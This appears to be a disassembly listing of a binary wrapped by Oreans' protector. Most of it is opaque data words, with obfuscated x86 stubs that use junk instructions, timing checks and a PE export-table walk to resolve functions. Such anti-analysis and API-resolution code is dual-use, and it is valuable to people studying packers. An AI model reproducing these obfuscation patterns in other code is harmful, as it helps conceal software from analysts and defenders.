dd 58C3DB73h, 82DBA915h, 182h, 95E98019h, 762432D3h, 88C76CE6h
dd 0B8C867F8h, 304140ECh, 805CF273h, 2C8215B7h, 7C6C70E9h
dd 8C23B2FDh, 6C707632h, 8D25427Ch, 121192EEh, 89991A76h
dd 7A7FFBE9h, 0B0E97CFDh, 0F940E734h, 5463CB8Ch, 0EABBF44h
dd 862E7A0Bh, 0FC8D0A8Bh, 0C817D4A6h, 0C7B49334h, 0E38010A6h
dd 0FB3871E4h, 5F52DE74h, 0CB270B2Ah, 6CA3B5F3h, 0E764037Ch
dd 0CB62334Fh, 6CA3B5F3h, 0FD8E047Ch, 51358FAAh, 0DEEE4423h
dd 0DBA96C25h, 6AFFh, 0B93AD600h, 8D982EBAh, 0E9808225h
dd 2432D395h, 0F295E176h, 6CC09617h, 4B23B250h, 7624335Dh
dd 0E4A4FA8Bh, 0F0762432h, 0E97936B7h, 762432AFh, 225356DDh
dd 333D7B53h, 0EC8B7624h, 96E8F17Ch, 762432D2h, 6310911Eh
dd 4DD8238h, 0B65E0DBDh, 15DC88Ah, 76243397h, 0F0AA9C5h
dd 0F985178Eh, 44EA8BF8h, 8C8A24h, 0B9090000h, 7549DC7Eh
dd 7C6C4EBCh, 407856EDh, 8C7C6C4Eh, 402F4BE3h, 0DE2F6433h
dd 6CCC1A1Eh, 59DAB61Ch, 0C1623E5Ah, 0E2BC53C2h, 7C6C5DA6h
dd 0DEDD7532h, 0B69335C7h, 5EF1B220h, 0A02A7C6Ch, 0B7B231FBh
dd 10BA85D5h, 0C8432985h, 0C6A182B7h, 3130BD4Fh, 0F18B1A99h
dd 7D007574h, 0AB7FBB68h, 8A29E941h, 9B57FE8Fh, 0DC67F924h
dd 0AC2D28CAh, 0A478DEDFh, 0CF66F19Bh, 0C0B1B03Dh, 0DF4D0BA3h
dd 57C7389h, 8BDA6D8Eh, 0A724A1A4h, 7EB93EC5h, 77549DCh
dd 0B87C6F9Eh, 0EE969C24h, 84056213h, 7F5C39F3h, 67CFF4FDh
dd 0BFB23F4Bh, 0F380812Dh, 344435B2h, 61B9B8Fh, 0E98B0869h
dd 423336BDh, 81B1B8F4h, 821EB5D9h, 1495E2E1h, 905F0CBEh
dd 0B1E3A5F9h, 0B6F1D17Eh, 0F4F37020h, 7C7BF894h, 0FCF57D0Fh
dd 954A088Fh, 0C3A1A44Fh, 58292CD7h, 3AAh, 0DA412900h
dd 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h
dd 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh, 0E18951B9h
dd 4C181h, 0BB530000h, 4, 875BD929h, 685C240Ch, 73BAh
db 89h, 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push ebx
push 12F353E0h
pop ebx
dec ebx
push ecx
mov ecx, 1EA24315h
or ecx, 2A43B48h
shl ecx, 4
not ecx
shr ecx, 2
sub ecx, 659429B2h
add ecx, 53862E29h
add ebx, ecx
pop ecx
mov edi, ebx
pop ebx
push esp
mov edx, [esp]
add esp, 4
push eax
mov eax, 8
add eax, edx
mov [eax], edi
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_541331
; ---------------------------------------------------------------------------
db 98h
dd 0B8452AA5h, 64B705Ch, 0E0FFC503h, 3979B755h, 30ABFCE4h
dd 35E87411h, 4268408Ch, 6A43CE93h, 59DBDDCFh, 5AB6094Fh
dd 4D55DB1Dh, 6664C2B2h, 13F5B7B8h, 66504C2Dh, 60115BFBh
dd 4FDF3C76h, 2104855Eh, 2A1667F4h, 750EBB2Eh, 354E9794h
dd 600BE693h, 464934EBh, 52474D53h, 4B562020h, 20202044h
dd 4D562020h, 2020204Dh, 57562020h, 32334E49h, 58562020h
dd 52444C44h, 2020h, 2 dup(0)
dd 99E90000h, 60000007h, 6061F8F9h, 0CE960h, 571F0000h
dd 0BA8FC788h, 51354D7Fh, 72B0BC94h, 6D85C761h, 64B71h
dd 0E9000000h, 11h, 0FC907BDDh, 0C3BD48D5h, 96B0301Ch
dd 0FCC79F60h, 6AC68B22h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 8A98C356h, 0E5C804A5h
dd 1860Fh, 0FF90000h, 8E9D8B7h, 7D000000h, 3B9CFB63h, 0C1D46CA9h
dd 6A10E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 43B374C3h, 1890Fh, 66F90000h, 6A08C8C1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 0C1F9C352h, 2ADD052Bh, 0D6B4AFEDh, 8D0F60F9h
dd 6, 0E1DF81h, 8961052Fh, 4B717185h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 60F4E3B2h, 7E9h, 0A6840100h, 406420A6h, 0BE68166h, 0C166617Ch
dd 6A08CBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0A2BEE3C3h, 2CA78A82h, 83F5C332h, 850F40FBh
dd 6Bh, 7800Fh, 8B0F0000h, 1, 45BD8DFCh, 6A064B71h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 6A0EC357h, 0E9FC2D57h, 1B6h, 16870Fh, 11E90000h, 0A9000000h
dd 0A8F470AFh, 5B822D09h, 9C066C93h, 0B7AF6654h, 0BE960h
dd 907E0000h, 0CC7BE979h, 0F2442EE4h, 0EB816681h, 8361BE9Fh
dd 850F0DFBh, 7Eh, 0DABF0F60h, 2850Fh, 0CB8B0000h, 4DBD8D61h
dd 6A064B71h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 28ABC353h, 20F8DE34h, 0F96D46C6h
dd 13DE9h, 5E86000h, 9000000h, 57994A95h, 0FE8h, 1C8BAF00h
dd 1633E7B8h, 0AEA823A3h, 834C277h, 0D080585Bh, 0E9606191h
dd 0Ah, 73E3BFC1h, 0C3B56DABh, 820FBF54h, 5, 0C609E7BBh
dd 0FB836141h, 64850F01h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 0E18CC350h
dd 79B617F5h, 0D8C0Fh, 8E90000h, 4B000000h, 931CD428h
dd 8D58FB5Fh, 4B7155BDh, 5E906h, 564A0000h, 0FCDAB13h
dd 1081h, 0A8D0F00h, 0E9000000h, 5, 0EAFDD6EFh, 94E933h
dd 0B7600000h, 8361F556h, 850F2AFBh, 61h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4DC35545h, 6D0DB6D3h
dd 0F4466F97h, 0AE956h, 0C6520000h, 66EF60h, 0B84A2A68h
dd 715DBD8Dh, 0F860064Bh, 44E961h, 840F0000h, 19h, 14E9h
dd 0BF15DF00h, 17C28017h, 72F442ADh, 78A99F22h, 0F88B9B93h
dd 27FB83C7h, 2CF850Fh, 60600000h, 8C0Fh, 81660000h, 6106F0E2h
dd 92EA8166h, 0BD8D6164h, 64B7165h, 0BD89F8F8h, 64B7175h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C6C35141h
dd 0DA213421h, 0F8D7A225h, 81665060h, 5BE389CFh, 0C88C6661h
dd 1F8E0Fh, 820F0000h, 19h, 14E9h, 264E4200h, 7852BF6Ah
dd 72FADF2h, 0B4D78D39h, 0B09F331Eh, 7E92Fh, 67ED0000h
dd 7610BEE1h, 60032495h, 0F6C78166h, 11E8D8h, 493B0000h
dd 40EC2307h, 0C517AAA6h, 0FFD1AC5Bh, 80D3A6EBh, 615F04D9h
dd 850FC00Ah, 188h, 98B58DFCh, 0F064B77h, 78Ah, 58516000h
dd 61D68B66h, 8820Fh, 850F0000h, 2, 858B6160h, 64B7892h
dd 5E9h, 0DDB38E00h, 0F920C38h, 1089h, 0BB666000h, 5E90193h
dd 8D000000h, 646A7D88h, 52505061h, 6E9h, 390D4A00h, 0F479D2Bh
dd 50525031h, 5A310F52h, 0E9310F58h, 0Bh, 51FDC756h, 749A87ACh
dd 5A935FFBh, 92585A58h, 0C860Fh, 66600000h, 7669F281h
dd 8ACF8166h, 10F61F7h, 0FFE244Ch, 0C83h, 7E900h, 0FF850000h
dd 80D8033Fh, 6A5A3Dh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 77361AC3h, 1A5F6C5Ah, 5E960h, 0CFC90000h
dd 527F4525h, 0BE9h, 4D3EB500h, 0C3D68D7Eh, 0CB777D2Fh
dd 0C283615Eh, 0EE86024h, 8B000000h, 0FB5941D6h, 0BA142982h
dd 8CA7AA96h, 51DC80C9h, 12E95Ah, 973A0000h, 38C3B962h
dd 736A02h, 0D5A45A3Fh, 0C7ABBD20h, 72896661h, 0CEC1F8FCh
dd 0DE9F810h, 18000000h, 0A4C5A6C5h, 273152EEh, 59F1B22Ch
dd 2728966h, 6A04CDF9h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0E161C356h, 0A9F44F30h
dd 0F8B3FB7h, 0A85h, 0C68B6000h, 810Fh, 0E9610000h, 9Eh
dd 0A1DFBB60h, 0BE84200h, 87000000h, 98E4D674h, 9A47BB93h
dd 615913B4h, 7892858Bh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 680EA5C3h, 78C43AF8h
dd 0B58DCAE4h, 64B7798h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 13C35242h, 1A1A5A3Dh, 0F60F15Ah, 0D88BD7BFh
dd 1870F61h, 0F8000000h, 47B4858Dh, 6A064Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FFD24CC3h
dd 8589F8D0h, 64B716Dh, 8E9h, 0F8045500h, 1FDDD896h, 8060616Dh
dd 55B2D8F3h, 6D858B61h, 0F9064B71h, 6AC3F8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0AE93BC3h
dd 22000000h, 60B2888h, 0CD819B71h, 6A6048h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F96501C3h
dd 7E960h, 33D70000h, 0DB3AE906h, 6870FD8h, 0F000000h
dd 8Ch, 0BD836100h, 64B7892h, 69850F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 773DC351h, 0FA99770Bh, 0F807DF31h, 9285C7FCh, 3F064B78h
dd 6A000101h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0AB0CC353h, 0B9606A74h, 11380BE8h
dd 61C8BF0Fh, 0A8A0Fh, 8B600000h, 890FF3h, 61000000h, 44E9h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 88BE09ABh, 0F5EE9174h, 1B830Fh, 0E9600000h
dd 0Fh, 0AE6F4F31h, 0E1E2868Ch, 8FA597F3h, 66275AA8h, 1BA8D881h
dd 20CD61h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 64B7175h
dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 64B7171h, 7F34583Bh
dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 64B716Dh, 8B04EBh
dd 8B61C5EBh, 4B716D85h, 6ACF06h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 0E92AEBC3h, 5, 90E3458h
dd 12E91Bh, 5B4D0000h, 78E75754h, 70913EB1h, 25EB9426h
dd 0A7078D69h, 0DE8C08Bh, 49000000h, 589A6326h, 1337B4DEh
dd 9A4CBBBAh, 6E9h, 514DE300h, 5EF030DCh, 81FABF0Fh, 7296C6h
dd 6E85200h, 92000000h, 0D5B56731h, 5E997h, 944E0000h
dd 5A7F0A73h, 1C6E6858h, 0BF0F0000h, 81665BC2h, 8B2D6DEAh
dd 84C2800Eh, 282F181h, 0CE96DC0h, 6B000000h
dd 971A6958h, 8950C642h, 81C14E37h, 90C4BBF1h, 0F181F964h
dd 238F3EB4h, 0E0A9BDBFh, 8D0F5151h, 0
dd 0AE9068Fh, 1B000000h, 4FBEE627h, 5CB78012h, 0AEE81CCh
dd 8A4A00C2h, 6C681C2h, 0F4A00C2h, 83h, 1EB8300h, 13850Fh
dd 0D4BF0000h, 0E9404802h, 2Dh, 0CB7CFFCCh, 30D942F0h
dd 14E957h, 59810000h, 5BF3E5BBh, 4328B0C2h, 4F69D768h
dd 0B9DB2197h, 6CE9612Ah, 6AFFFFFFh, 0D8EF32E0h, 83E9CCh
dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh
dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h
dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h
dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch
dd 83202454h, 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h
dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h
dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 0Eh
dd 9FFCD22Dh, 6D2B2983h, 0A65AF135h, 8B66232Ch, 0DE95EFBh
dd 0F9000000h, 10097572h, 0C5C671EBh, 84539A84h, 5BDFC681h
dd 0BAB60000h, 68h, 0C8CA8100h, 5B4EE375h, 1E0C8BF8h, 0AB7AC7B8h
dd 0DCC18113h, 0E964E83Eh, 12h, 42E0DA5Ah, 0ABFC9EE9h
dd 0DE83084h, 9DE983DFh, 0C181420Dh, 431F87CAh, 0E981C18Bh
dd 60CD3F68h, 45705BB8h, 8FF55177h, 11E91E04h, 3E000000h
dd 0B48FE166h, 0F3628176h, 0E2A867EEh, 0E3767663h, 83D3B70Fh
dd 850F04EBh, 4, 0E10DBF66h, 0A4C8FB81h, 850FFFFFh, 0FFFFFF91h
dd 0E9D0BF0Fh, 400h, 0
a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah
db 0Dh,'Please, contact support@oreans.com. Thank you!',0
align 10h
dd 0E4h dup(0)
dd 56h, 45h, 0
dd 110BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0C5858B40h, 6A064827h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 7F2DC350h, 4439F506h, 850F0424h, 36h, 0BDBD83F8h, 64808h
dd 28840Fh, 8DFC0000h, 4838BA85h, 0E0FFF806h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ADC35343h, 858B208Fh
dd 6482F2Dh, 58E0F60h, 66000000h, 0E18DD281h, 12E9h, 53E3DF00h
dd 578145BFh, 67542B0Ah, 0D16B5FEh, 61E0FCCDh, 0EC99529h
dd 44390648h, 850F0424h, 2Ch, 0CE9h, 0ED066F00h, 5EEA56D3h
dd 0F46B0380h, 3B85C7E5h, 1064B7Fh, 0E9000000h, 0Ch, 0ECED296Dh
dd 0D43DBD6Ah, 0F917793h, 0F19D3160h, 0E9064822h, 39h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2EC35343h
dd 0F8005639h, 0F2C53E2h, 683h, 0F1952900h, 29064805h
dd 4815358Dh, 6, 1B800h, 85870000h, 64B806Ch, 0F675C00Bh
dd 0FF9B5FFh, 858F0648h, 64B7F33h, 0FF6A206Ah, 203995FFh
dd 0BD830648h, 6480ABDh, 6A087400h, 2D95FF00h, 83064809h
dd 4805B5BDh, 0D740106h, 8068h, 0FFFF6A00h, 48203995h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 8509FC42h, 6480A0Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 6BC35343h, 48A4AF5Dh, 8589DDF2h
dd 6480BFDh, 659D8B60h, 8B064828h, 48151595h, 0B86106h
dd 9000000h, 482F519Dh, 24548B06h, 9D896028h, 64805F9h
dd 7E8h, 39C40100h, 5B83F19Ch, 164D9D0Bh, 615F0648h, 10858589h
dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 92E390C3h, 0B4C9773Bh, 880F9BD8h, 6, 1595BD89h
dd 3CBE0648h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 9551C355h, 0C64727A2h
dd 0E9EB5FC3h, 6, 0ED889D72h, 3F80515h, 0F242474h, 68Ah
dd 6D958900h, 6606480Fh, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 384256Ch, 0F242444h, 0C8Dh
dd 6810F00h, 89000000h, 4814A98Dh, 14E99006h, 0BC000000h
dd 0EB1F2BB3h, 0F7C48786h, 0F2CD53D9h, 0D0ADED90h, 50120319h
dd 9E95250h, 0E4000000h, 2C26DE6h, 1BE2B09Ch, 5250310Fh
dd 310F6160h, 310F5250h, 585A585Ah, 6A90585Ah, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 35AC353h, 0DCAE7FC5h, 6810F07h, 89000000h, 480D158Dh
dd 408BF806h, 2DBD8978h, 8306480Ah, 4B7F3BBDh, 850F0006h
dd 0FAh, 9E9h, 7F6E400h, 4A5C3506h, 0F9070DAh, 1B85h, 0BA666000h
dd 0FE8A333h, 0E4000000h, 7397416Ch, 0D6E7A5BFh, 0FE82245h
dd 615FEA04h, 0BBB46050h, 0AE8h, 9C501300h, 644A4E7Eh
dd 0FA087E2h, 89h, 90615800h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 12C35040h, 16E2A64h, 48005995h
dd 13E906h, 1B2C0000h, 11729D8Ch, 54E1DD72h, 0FB40F795h
dd 6837539Bh, 24448BFBh, 5090F52Ch, 61606052h, 0F61A3B7h
dd 6850F31h, 0F000000h, 8Eh, 50585A00h, 10E9h, 9E9E3B00h
dd 13D4BD8Bh, 3DEA7F21h, 29E8ECEBh, 60609052h, 0AE8h, 8447D500h
dd 5C67529Ch, 5A906DDCh, 2371850Bh, 9610648h, 480655B5h
dd 858D6106h, 64B4856h, 2E958529h, 0D0FF0648h, 899D8B60h
dd 8B064816h, 480D758Dh, 44036106h, 60602824h, 93B2D181h
dd 0BD294461h, 6482405h, 850F5261h, 0
dd 800F615Bh, 1, 18408BF8h, 10998D89h, 0F8400648h, 7F378589h
dd 870F064Bh, 6, 1A618509h, 95890648h, 64827FDh, 0DE958h
dd 61600000h, 0CD9B637h, 4753AB89h, 8B40B1A2h, 8D897870h
dd 6481AB5h, 0E91CC683h, 14h, 79D5EFE5h, 935D4744h, 0A86F792Eh
dd 6D19C2BAh, 0B5E6FCEBh, 0AE996h, 1E280000h, 0BE4E6ADFh
dd 3E88B867h, 24247C81h, 10000000h, 0D8870Fh, 90FC0000h
dd 0CE9h, 7B578800h, 67103562h, 0B3678F2Ah, 6E95064h, 42000000h
dd 0F78E9C40h, 6A9073h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0EC904BC3h, 0E9D9A21Fh, 0Dh, 4FB4969Ch
dd 3A9C828h, 8DDC7CE2h, 6E95Ch, 8B240000h, 0B95F21F3h
dd 2824448Bh, 0AE9h, 8F20F700h, 26DD29FDh, 60B1E03Fh, 0F219589h
dd 858B0648h, 6480EEDh, 13E95061h, 1E000000h, 4E96815h
dd 0BD55D29Ch, 8318A68Eh, 0D8B1AAF0h, 4897EEEh, 99B52924h
dd 2906480Bh, 48200185h, 56858D06h, 89064B48h, 481851BDh
dd 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 44C9C356h, 0EE92FC97h, 6A96BD70h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0A626C353h, 30CB6A0h, 6A242474h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 8299C353h, 0FCDD4F8Fh, 8D014410h, 6481B75h, 1AC1BD8Dh
dd 0BD290648h, 6480065h, 8870FADh, 0F000000h, 28Dh, 81616000h
dd 24247Ch, 0F100000h, 10387h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 95160DA9h
dd 53361E41h, 6E95020h, 94000000h, 2364116Ch, 240489BBh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CDC35545h
dd 0C28BF5h, 29B58B60h, 89064813h, 480759B5h, 448B6106h
dd 6A2824h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0A834A2C3h, 1860Fh, 90F90000h, 14E860h, 95B70000h
dd 47F138E8h, 0DB537F20h, 0F2EE04D3h, 6D9EA873h, 8A0F83EAh
dd 0
dd 61F98B5Eh, 4860F50h, 60000000h, 9061FE8Bh, 12F99589h
dd 858D0648h, 64B4856h, 1F800Fh, 840F0000h, 19h, 14E9h
dd 42E87F00h, 0EB669821h, 947905FFh, 1FB37044h, 0C90613E3h
dd 858960B5h, 6481365h, 26ED9589h, 0FF610648h, 1890FD0h
dd 0F9000000h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0E5C35242h, 0D3211FC1h, 314A832Ah, 481A898Dh
dd 6AAB06h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 0E0FD64C3h, 0C58D894Fh, 0E9064805h, 0Ah
dd 0DC266D1h, 0A0CCF7C1h, 0FA81C75Ch, 10000h, 73D820Fh
dd 85010000h, 6482BF9h, 32D9BD8Dh, 6A0648h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7EF057C3h
dd 81BD893Ah, 0AD06480Dh, 142DBD09h, 7C810648h, 2424h
dd 870F1000h, 11Eh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 4FC35040h, 1C7B9926h, 60909288h, 32B1D1BFh
dd 7E804h, 6260000h, 22395226h, 5BD58A54h, 52505061h, 61605250h
dd 5250310Fh, 585A310Fh, 310F585Ah, 0BE9h, 0B521A900h
dd 15A525EFh, 0DDE07B8Dh, 6A90585Ah, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 45DC350h
dd 0A5953140h, 29064823h, 4817B99Dh, 24448B06h, 519D8928h
dd 5006481Ch, 0CE9h, 0AE40A400h, 0F1D9059Fh, 0E7A49C36h
dd 240489FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0AAC35747h, 2DEFE4Eh, 60E5F2A0h, 58F0Fh, 40BF0000h
dd 61531B10h, 4856858Dh, 7E9064Bh, 0CD000000h, 0C4A1D45Bh
dd 8E0FA059h, 6, 2A098501h, 0D0FF0648h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 18h, 0FAC35040h, 5A068206h
dd 29ED8589h, 44030648h, 95892424h, 6482B89h, 0FE950h
dd 442A0000h, 0CC0A4E3Eh, 1355B045h, 4E42CFD0h, 24048926h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 89C35242h
dd 2D6B5A14h, 60F77A1Ch, 14018D8Bh, 0AB610648h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 90C35545h, 4BB70585h
dd 12E9h, 0F91E7A00h, 53E14228h, 744705D5h, 0F815AE16h
dd 8D13B621h, 480881BDh, 659D8906h, 0AD064833h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 72C35141h, 358133C8h
dd 6D59D29h, 7C810648h, 2824h, 870F1000h, 0B4h, 7E9h, 55AD600h
dd 2ADA4456h, 8B666090h, 8C0FFBh, 61000000h, 50525050h
dd 840F52h, 0F000000h, 5A616031h, 0F310F58h, 68Ah, 8D0F00h
dd 5A000000h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0E56F4CC3h, 2C24448Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 1BC35141h, 899D0969h
dd 5006482Ah, 0B880Fh, 6E90000h, 0BD000000h, 602C7D02h
dd 240489D5h, 56858DFCh, 0E9064B48h, 0Bh, 581BE83Eh, 919A12F9h
dd 898E7C94h, 4805E9B5h, 0F5D0FF06h, 28244403h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B6C35242h, 60B651E7h
dd 6C247DB9h, 0AD958B20h, 6106480Bh, 0DFD8D01h, 0F8AB0648h
dd 378DFF5Eh, 83064B7Fh, 4B7F37BDh, 0A750006h, 0B58DC033h
dd 64B8D18h, 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h
dd 502C2444h, 4856858Dh, 0D0FF064Bh, 28244403h, 8ADF8B97h
dd 4B7F3385h, 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh
dd 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah
dd 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h, 49F38166h
dd 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh
dd 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 8585FF04h, 0E9064810h
dd 0FFFFFF5Dh, 0FE95Eh, 0F9EC0000h, 7C6157FEh, 9746045h
dd 0E3C21471h, 88F0FC4h, 0F000000h, 280h, 8B616000h, 48108585h
dd 619D3106h, 106481Bh, 4819C995h, 89E0D106h, 4819D5BDh
dd 81850306h, 6A064808h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 5FC8C350h, 0D25C5D06h
dd 35B52915h, 0BE064805h, 0
dd 6A96FCh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0DF32F0C3h, 1E2441Eh, 4811A98Dh, 0B5B58906h
dd 0F9064827h, 6AAD66h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0CA07AAC3h, 8E0FE2A1h, 6, 9E9BD89h
dd 0BD010648h, 6480DFDh, 6A02E0C1h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0ACFCC355h
dd 2B29BD29h, 85030648h, 6481AC1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0A2C35242h, 958912F4h, 64810E1h
dd 0ADFC96FCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 56C35545h, 4535D941h, 9D01E1CFh, 648083Dh, 24247C81h
dd 10000000h, 0FC870Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 2BB12FC3h, 9C8D9C55h
dd 0F7F7805h, 18Bh, 0E950F800h, 5, 0F8C7ABBDh, 240489C3h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1CC35242h
dd 1FA9CC2Eh, 18E1F959h, 448BF5F4h, 6A2824h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 90D9BFC3h
dd 0EE860h, 11F90000h, 87E9FDCFh, 0F6E92A71h, 0C654BC72h
dd 8B586160h, 605061C8h, 8C0Fh, 90610000h, 56858DF5h, 6A064B48h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 7E65C355h, 51887155h, 89B6B160h, 480AF9B5h
dd 0D0FF6106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0C0C35343h, 2C1DBD89h, 44030648h, 6A2424h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 1AB5AAC3h, 0FABB880Bh, 8B0FD3EBh, 1, 6860FFCh, 9000000h
dd 4801ADBDh, 24448906h, 50006A1Ch, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 79731960h, 0CE9BAh, 8B3F0000h
dd 77E3230Ch, 0D1576EE1h, 0B58928F0h, 6481335h, 18880Fh
dd 13E90000h, 0F2000000h, 6D9EA873h, 3E8A83EAh, 0E4C757B4h
dd 0C8AB97Bh, 85C63410h, 6480FF9h, 6C85C700h, 64B80h, 0C7000000h
dd 4B7F3B85h, 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0E3E85691h, 5429C2AAh
dd 9185091Dh, 9064805h, 481EE585h, 6A6106h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2122D4C3h
dd 95018DF8h, 648203Dh, 6A0008C2h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 2201C350h
dd 8B16534Ch, 481AC185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 68F0F05h, 89000000h, 481A6985h
dd 6A4A06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 8D8965C3h, 648109Dh, 2DD9529h, 0D26B0648h
dd 15858904h, 3064812h, 56006AC2h, 3E8h, 0C35E2000h, 2474895Eh
